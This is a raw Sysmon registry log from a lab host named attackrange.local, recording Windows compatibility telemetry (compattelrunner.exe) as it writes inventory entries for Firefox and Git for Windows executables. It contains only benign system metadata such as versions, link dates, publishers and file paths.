14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pingsender.exe|aaf23943349d4957\BinProductVersion92.0.0.7916 13241300x800000000000000037878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pingsender.exe|aaf23943349d4957\LinkDate09/04/2021 01:12:56 13241300x800000000000000037877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pingsender.exe|aaf23943349d4957\Publishermozilla foundation 13241300x800000000000000037876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pingsender.exe|aaf23943349d4957\LowerCaseLongPathc:\program files\mozilla firefox\pingsender.exe 13241300x800000000000000037875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\minidump-analyze|c30fa22ff3f6a149\BinProductVersion92.0.0.7916 13241300x800000000000000037874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\minidump-analyze|c30fa22ff3f6a149\LinkDate09/04/2021 01:12:56 13241300x800000000000000037873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\minidump-analyze|c30fa22ff3f6a149\Publishermozilla foundation 13241300x800000000000000037872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\minidump-analyze|c30fa22ff3f6a149\LowerCaseLongPathc:\program files\mozilla firefox\minidump-analyzer.exe 13241300x800000000000000037871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|a02830353e4ef7f\BinProductVersion1.0.0.0 13241300x800000000000000037870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|a02830353e4ef7f\LinkDate12/11/2016 21:50:55 13241300x800000000000000037869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|a02830353e4ef7f\Publishermozilla corporation 13241300x800000000000000037868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|a02830353e4ef7f\LowerCaseLongPathc:\program files\mozilla firefox\maintenanceservice_installer.exe 13241300x800000000000000037867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|97180995320ca115\BinProductVersion92.0.0.7916 13241300x800000000000000037866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|97180995320ca115\LinkDate09/04/2021 01:12:55 13241300x800000000000000037865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|97180995320ca115\Publishermozilla foundation 13241300x800000000000000037864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|97180995320ca115\LowerCaseLongPathc:\program files\mozilla firefox\maintenanceservice.exe 13241300x800000000000000037863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\helper.exe|e5fe7566efc548ac\BinProductVersion1.0.0.0 13241300x800000000000000037862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\helper.exe|e5fe7566efc548ac\LinkDate12/11/2016 21:50:55 13241300x800000000000000037861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\helper.exe|e5fe7566efc548ac\Publishermozilla corporation 13241300x800000000000000037860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\helper.exe|e5fe7566efc548ac\LowerCaseLongPathc:\program files\mozilla firefox\uninstall\helper.exe 13241300x800000000000000037859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\firefox.exe|ebd16581180f4552\BinProductVersion92.0.0.0 13241300x800000000000000037858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\firefox.exe|ebd16581180f4552\LinkDate09/04/2021 01:12:38 13241300x800000000000000037857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\firefox.exe|ebd16581180f4552\Publishermozilla corporation 13241300x800000000000000037856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\firefox.exe|ebd16581180f4552\LowerCaseLongPathc:\program files\mozilla firefox\firefox.exe 13241300x800000000000000037855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\default-browser-|dc77861eecd2248\BinProductVersion92.0.0.7916 13241300x800000000000000037854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\default-browser-|dc77861eecd2248\LinkDate09/04/2021 01:15:53 13241300x800000000000000037853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\default-browser-|dc77861eecd2248\Publishermozilla foundation 13241300x800000000000000037852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\default-browser-|dc77861eecd2248\LowerCaseLongPathc:\program files\mozilla firefox\default-browser-agent.exe 13241300x800000000000000037851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.559{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\crashreporter.ex|63c55d3d1009672b\BinProductVersion92.0.0.7916 13241300x800000000000000037850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.559{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\crashreporter.ex|63c55d3d1009672b\LinkDate09/04/2021 01:13:34 13241300x800000000000000037849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.559{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\crashreporter.ex|63c55d3d1009672b\Publishermozilla foundation 13241300x800000000000000037848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.559{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\crashreporter.ex|63c55d3d1009672b\LowerCaseLongPathc:\program files\mozilla firefox\crashreporter.exe 13241300x800000000000000037847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.559{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\0000bba421584ad60cf2375ea32da0b18e7f0000ffff\PublisherMozilla 13241300x800000000000000037846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.511{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ziptool.exe|7269435f129e6e01\BinProductVersion(Empty) 13241300x800000000000000037845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ziptool.exe|7269435f129e6e01\LinkDate01/01/1970 00:00:00 13241300x800000000000000037844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ziptool.exe|7269435f129e6e01\Publisher(Empty) 13241300x800000000000000037843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ziptool.exe|7269435f129e6e01\LowerCaseLongPathc:\program files\git\mingw64\bin\ziptool.exe 13241300x800000000000000037842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipmerge.exe|13ce9e43b33787b4\BinProductVersion(Empty) 13241300x800000000000000037841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipmerge.exe|13ce9e43b33787b4\LinkDate01/01/1970 00:00:00 13241300x800000000000000037840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipmerge.exe|13ce9e43b33787b4\Publisher(Empty) 13241300x800000000000000037839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipmerge.exe|13ce9e43b33787b4\LowerCaseLongPathc:\program files\git\mingw64\bin\zipmerge.exe 13241300x800000000000000037838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipinfo.exe|221fb78378e3082e\BinProductVersion(Empty) 13241300x800000000000000037837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipinfo.exe|221fb78378e3082e\LinkDate05/08/2031 18:06:26 13241300x800000000000000037836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipinfo.exe|221fb78378e3082e\Publisher(Empty) 13241300x800000000000000037835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipinfo.exe|221fb78378e3082e\LowerCaseLongPathc:\program files\git\usr\bin\zipinfo.exe 13241300x800000000000000037834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipcmp.exe|72e4c18935f10855\BinProductVersion(Empty) 13241300x800000000000000037833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipcmp.exe|72e4c18935f10855\LinkDate01/01/1970 00:00:00 13241300x800000000000000037832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipcmp.exe|72e4c18935f10855\Publisher(Empty) 13241300x800000000000000037831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\zipcmp.exe|72e4c18935f10855\LowerCaseLongPathc:\program files\git\mingw64\bin\zipcmp.exe 13241300x800000000000000037830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\yes.exe|101013f8ea4cecdc\BinProductVersion(Empty) 13241300x800000000000000037829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\yes.exe|101013f8ea4cecdc\LinkDate01/01/1970 00:00:00 13241300x800000000000000037828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\yes.exe|101013f8ea4cecdc\Publisher(Empty) 13241300x800000000000000037827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\yes.exe|101013f8ea4cecdc\LowerCaseLongPathc:\program files\git\usr\bin\yes.exe 13241300x800000000000000037826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\yat2m.exe|e602d782765213bc\BinProductVersion(Empty) 13241300x800000000000000037825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\yat2m.exe|e602d782765213bc\LinkDate01/01/1970 00:00:00 13241300x800000000000000037824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\yat2m.exe|e602d782765213bc\Publisher(Empty) 13241300x800000000000000037823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\yat2m.exe|e602d782765213bc\LowerCaseLongPathc:\program files\git\usr\bin\yat2m.exe 13241300x800000000000000037822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xzdec.exe|aa41a1b6191a17c5\BinProductVersion5.2.5.0 13241300x800000000000000037821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xzdec.exe|aa41a1b6191a17c5\LinkDate01/01/1970 00:00:00 13241300x800000000000000037820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xzdec.exe|aa41a1b6191a17c5\Publisherthe tukaani project <https://tukaani.org/> 13241300x800000000000000037819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xzdec.exe|aa41a1b6191a17c5\LowerCaseLongPathc:\program files\git\mingw64\bin\xzdec.exe 13241300x800000000000000037818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xzcat.exe|6c454d521625ef75\BinProductVersion5.2.5.0 13241300x800000000000000037817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xzcat.exe|6c454d521625ef75\LinkDate01/01/1970 00:00:00 13241300x800000000000000037816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xzcat.exe|6c454d521625ef75\Publisherthe tukaani project <https://tukaani.org/> 13241300x800000000000000037815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xzcat.exe|6c454d521625ef75\LowerCaseLongPathc:\program files\git\mingw64\bin\xzcat.exe 13241300x800000000000000037814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xz.exe|f5dd0ac934ca84a7\BinProductVersion5.2.5.0 13241300x800000000000000037813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xz.exe|f5dd0ac934ca84a7\LinkDate01/01/1970 00:00:00 13241300x800000000000000037812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xz.exe|f5dd0ac934ca84a7\Publisherthe tukaani project <https://tukaani.org/> 13241300x800000000000000037811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xz.exe|f5dd0ac934ca84a7\LowerCaseLongPathc:\program files\git\mingw64\bin\xz.exe 13241300x800000000000000037810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xxd.exe|ec817b4721384459\BinProductVersion(Empty) 13241300x800000000000000037809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xxd.exe|ec817b4721384459\LinkDate01/01/1970 00:00:00 13241300x800000000000000037808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xxd.exe|ec817b4721384459\Publisher(Empty) 13241300x800000000000000037807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.496{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xxd.exe|ec817b4721384459\LowerCaseLongPathc:\program files\git\usr\bin\xxd.exe 13241300x800000000000000037806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 